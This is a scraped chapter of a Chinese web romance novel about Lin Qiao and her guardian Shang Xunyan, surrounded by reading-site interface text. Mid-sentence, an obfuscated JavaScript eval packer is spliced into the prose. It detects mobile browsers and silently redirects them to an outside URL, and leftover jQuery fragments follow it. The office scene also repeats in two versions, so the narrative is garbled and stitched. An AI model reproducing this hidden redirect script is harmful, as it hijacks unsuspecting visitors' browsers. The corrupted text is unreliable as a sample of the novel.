默认冷灰
24号文字
方正启体

5. 第 5 章

作者:云鹤鸣本书字数:K更新时间:
    林峤好久没叫过商浔砚“三叔”了。


    她在潮湿的檀香里惊醒,被褥间陌生的沉香气息让心跳漏了半拍。


    冷汗浸透真丝睡袍,林峤望着帐顶的流苏穗子,记忆像浸了水的宣纸洇开。


    消毒水的气味在梦境里格外刺鼻,林峤睁开眼时,发现商泽林坐在床边。


    "你怎么在这儿?"林峤脸色苍白,声音带着沙哑。


    商泽林似乎不知怎么开口,喉结滚动出迟疑的弧度:"前几天见你魂不守舍,怕你出事就偷偷跟来了。"


    “是你救的我吗?”林峤问他,视线却看着门外那道颀长身影。商浔砚正背对病房站在窗前,黑色手机边缘反光随着通话节奏明明灭灭,像暗夜里飘摇的萤火。


    “舍命相救呢,”商泽林桃花眼上扬,故意开玩笑逗她,“以后可要叫我恩人了!”


    林峤脸色苍白地嗯了声,吃完药没多久就睡着了。


    林峤再醒来时,睫毛轻颤的瞬间,正撞进商浔砚幽潭般的眼底。


    男人搭在白色被单上的指节骤然收紧,喉结在丝质领口上方极轻地滚动。


    那些未来得及藏匿的晦暗情绪,在镜片后凝成深秋霜露,坠在她尚未清醒的眼睫。


    “三叔……”女孩在意识尚未完全清楚时,沙哑地喊着他。


    "饿不饿?"男人向后靠进椅背,铂金袖扣擦过手腕的珠串发出轻响,“我叫人送点吃的。”


    “我不饿。”林峤攥紧袖口的指尖微微发白,仰头望进男人深不见底的眼瞳,问出始终牵挂着的问题,"在河里...是商泽林救的我?"


    商浔砚垂眸,纤长的睫毛在冷白肌肤上投下鸦羽般的阴影,像被月光割裂的荆棘丛。


    “是。”


    男人腕间沉香木珠串沁出凛冽雪松香,在两人咫尺距离里织就无形的网。


    从那天之后,林峤就开始整天围着商泽林转,好像视线和生活里,再也没有看见过商浔砚的影子。


    【小乔】:是谁送的,主动承认不打!@所有人


    “24K纯金姐妹花”群里,林峤发了个怒火表情,不多时,大家纷纷冒泡。


    【耿里耿气】:你们用上了?牛逼!


    【溏心小豆子】:我不造啊,谁这么缺德送这东西!


    【静月】:真假的,商浔砚不是传说有隐疾吗……


    群里炸开锅,消息刷屏,手机在掌心疯狂震动,林峤从这一堆回复里,精准判断出罪魁祸首。


    【小乔】:别装,是不是你!@溏心小豆子。


    唐星若震惊:你怎么知道?!


    【小乔】:除了你没有别人了!(被判死罪立即行刑·jpg)


    【溏心小豆子】:大王不要啊,再给臣妾一次机会!


    【耿里耿气】:那你昨晚真睡到栖港男神了?@小乔


    【溏心小豆子】:对呀别想岔开话题,我的体验报告呢?


    【小乔】:我要工作了。


    原本气势汹汹来兴师问罪的林峤,默默地遁了。


    她总不能承认,自己连商浔砚的一根手指都没睡到吧。


    办公室传来敲门声,林峤说了声“请进”,嘉姐忧心忡忡走进来。


    “林总,《听见心声》综艺项目遇到点麻烦。”


    盛夏的日光穿过百叶窗,在总裁办公室的地毯上划出明暗相间的琴弦。


    林峤将手机倒扣在檀木桌面时,金属边框与实木相撞发出细微的脆响。


    “怎么回事?”


    "冯玮撤资了。"嘉姐攥着文件夹的指节泛白,丝质衬衫后背洇着汗渍。


    她将文件轻轻推过桌面时,林峤注意到她新做的美甲缺了一角。


    "上次酒会,小鹿得罪了他。现在他放话要我们郑重道歉,否则,会考虑《跨界音潮》……"


    “听说他昨天就和《跨界音潮》的导演吃饭。”林峤轻笑一声,端起早已冷掉的咖啡。杯沿残留的玫瑰色唇印在瓷白杯壁上洇开,像一簇将熄未熄的火苗。


    “秦静倒是会捡现成的便宜。”


    谁都知道,林峤和秦静从幼儿园就开始争小红花了。她们表面相亲相爱,背地里任何事都要争出个高低。


    当时《听见新声》因手握独家XR技术专利,在招商会上大放异彩。秦静捏着《跨界音潮》项目书,脸都气绿了。


    如今见冯玮与林峤撕破脸,她迫不及待向冯玮递橄榄枝,誓要压过《听见新声》的风头。


    “林总,其实……”嘉姐将冯玮的撤资协议轻放在办公桌上,翡翠镯子磕出细微脆响。


    "冯制片要的不过是个台阶。"她倾身向前,翻开公司艺人册,落地窗外暮色正浓,霞光给艺人宣传照镀了层血色,小鹿那张新拍的打歌照在光影里晃了晃。


    "不如我们舍弃小鹿,和她同类型艺人,咱们公司也不少。"


    林峤忽然捏紧手中钢笔,墨迹在报表签批栏晕开个突兀的黑点。


    再抬眼时,女人秾丽的眉眼染上一丝凌厉,“嘉姐,你应该知道我的底线。”


    嘉姐神色尴尬,“可如果找不到新的投资人,董事会那边……”


    “这事我负责。”林峤抬手,冷光掠过她无名指的铂金素圈,在文件上投下一道凛冽。


    "让宣发部拟一份项目前期宣传方案给我,再约星云视频总裁,他有可能给我们独家冠名。"


    窗外CBD的霓虹昼夜不息地流淌,深灰色大理石墙面却将喧嚣尽数吞没。


    檀木香几上的汝窑梅瓶斜插着枯荷,商浔砚翻阅文件时,铂金袖扣在台灯光晕里折射出雾面冷光,恰似主人永远妥帖克制的模样。


    “商董,洪鑫酒业刘董想约您吃个饭,不知道有没有时间。”临下班前,刘文例行来汇报工作。


    商浔砚头也不抬,“推了,我今晚回家。”


    “是。”虽然刘董约了多次未成,但决定权在商浔砚手中,也没有他多说话的资格。


    刘文走后,商浔砚正准备起身,手机传来一条消息,是林峤的。


    【小乔】:三叔,我今晚有应酬,不知道几点能回家,你不用等我。


    商浔砚暗纹袖口下那截冷白手腕顿了顿,铂金袖扣与檀木茶几相碰,溅起清泠回响。


    暮色漫过云樾大厦顶层的落地窗,商浔砚正在批阅最后一份文件。


    冷调木纹桌面倒映着男人深邃侧影,银丝镜架在鼻梁压出极淡的痕,将那双天生清冷的桃花眼笼在阴影里。


    "商董,洪鑫酒业刘董想请参加晚宴。"刘文立在五步开外,目光垂落在深灰地毯的暗纹上。


    钢笔尖在纸页悬停半秒,洇开墨点。商浔砚摘下眼镜,修长指节抵住眉心,"推了。"


    声音像浸过冰泉的松烟墨,尾音却带出几分罕见的温软,"今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641186|172724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晚要准时回家。"


    以前还从未听过自家老板要准时回家,刘文心里惊讶,表面恭敬应声,躬身退出时,正看见老板拿起手机。


    暮光为男人镀上金边,锋利下颌线蓦地柔和下来。


    【小乔】:三叔,今晚有应酬,不用等我。


    商浔砚望着对话框上方跳动的"正在输入",指腹无意识摩挲冰凉的手机边框。


    男人低头不见表情,只唇角绷紧的弧度明显,喉结在暗纹衬衫领口滚了滚,最终只回了个"好"字。


    晚宴结束,已是凌晨。


    霓虹灯管在夜雾中洇开斑斓光晕,老式双层巴士碾过积水,溅起一片碎钻般的光点。


    商浔砚站在半岛酒店鎏金廊柱下,黑绸衬衫被晚风掀起暗纹。


    远处维港的汽笛声里,霓虹广告牌突然明灭两下。粉色身影就这样突然地跌进他的视野。


    林峤的缎面西装泛着珠贝光泽,发尾卷着夜雾贴住雪白后颈,七厘米细高跟叩在湿漉漉的麻石路上,仿佛随时要折碎在霓虹深处。


    商浔砚几乎是撕开浓稠夜色追上前来的,黑色大衣下摆掀起凌厉弧度,带着寒露的掌心骤然扣住林峤手腕,虎口卡住她伶仃腕骨时,金属袖扣硌得她轻颤。


    "林峤。"他喉结重重一滚,嗓音沉得能碾碎路灯投下的光晕,"看看几点了?"


    林峤正踩着虚浮的芭蕾步,闻言歪头去看腕表,透过指缝瞥见眼前男人。


    "有你乜事呀?"她看商浔砚像看陌生人,眼尾洇着醉醺醺的胭脂色,凶蛮腔调。


    整个人却突然像片被雨打湿的蝶,软绵绵栽进他怀里。


    商浔砚单手揽住她后腰,西装面料下的肌肉骤然绷紧。


    霓虹灯牌在雨雾中晕成斑斓光,映得他侧脸忽明忽暗。垂眸时睫毛在眼睑拓下阴翳,眸底翻涌着化不开的浓墨:"喝这么醉,还敢自己在外面晃?"


    林峤嘟嘴,挣扎着要逃开桎梏,细跟陷进石板缝隙。


    商浔砚眼底浸着寒霜,手臂却将人箍得更紧。暗纹领带被她胡乱揪住,喉结在她指尖下滚动:"闹够了?"


    “靓仔,有女朋友冇呀?”


    林峤忽然仰起脸,醺红的眼尾像沾了露水的桃花。指尖勾住他深色领带轻轻一扯,雪松香混着威士忌的气息在咫尺间炸开。


    这是把他当成了别的男人?


    商浔砚那双总噙着三分冷淡的桃花眼此刻盛满荒唐笑意,扣住她腕骨的力道骤然加重。


    他抬手解开两粒西装银扣,喉结滚过暗涌的浪潮,“没女朋友,但我有太太。”


    “嗰就唔得嘅,我唔做小三嘅。”(那可不行,我不当小三。)


    林峤挣开桎梏往后仰,珍珠耳坠"啪"地打在台阶上。


    她虽然嘴上拒绝,但却贪恋地攀住他肩膀,丝绸裙摆扫过他熨烫妥帖的西裤。


    商浔砚单手扯松领带,喉间溢出声叹息,不打算跟醉鬼计较。


    将她打横抱起时,怀中人忽然贴近他颈侧轻嗅,温软唇瓣擦过脉搏:"你身上...有我家沐浴露的味道诶。"


    月光在低调迈巴赫车身上流淌,商浔砚收紧手臂将人压进真皮后座。金丝镜框后眸光如淬火的黑曜石,指尖摩挲她后颈那块娇嫩的皮肤。


    "再仔细闻闻……"薄唇碾上她耳垂时,喉结抵着她锁骨震动:"除了沐浴露,还有什么?"
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)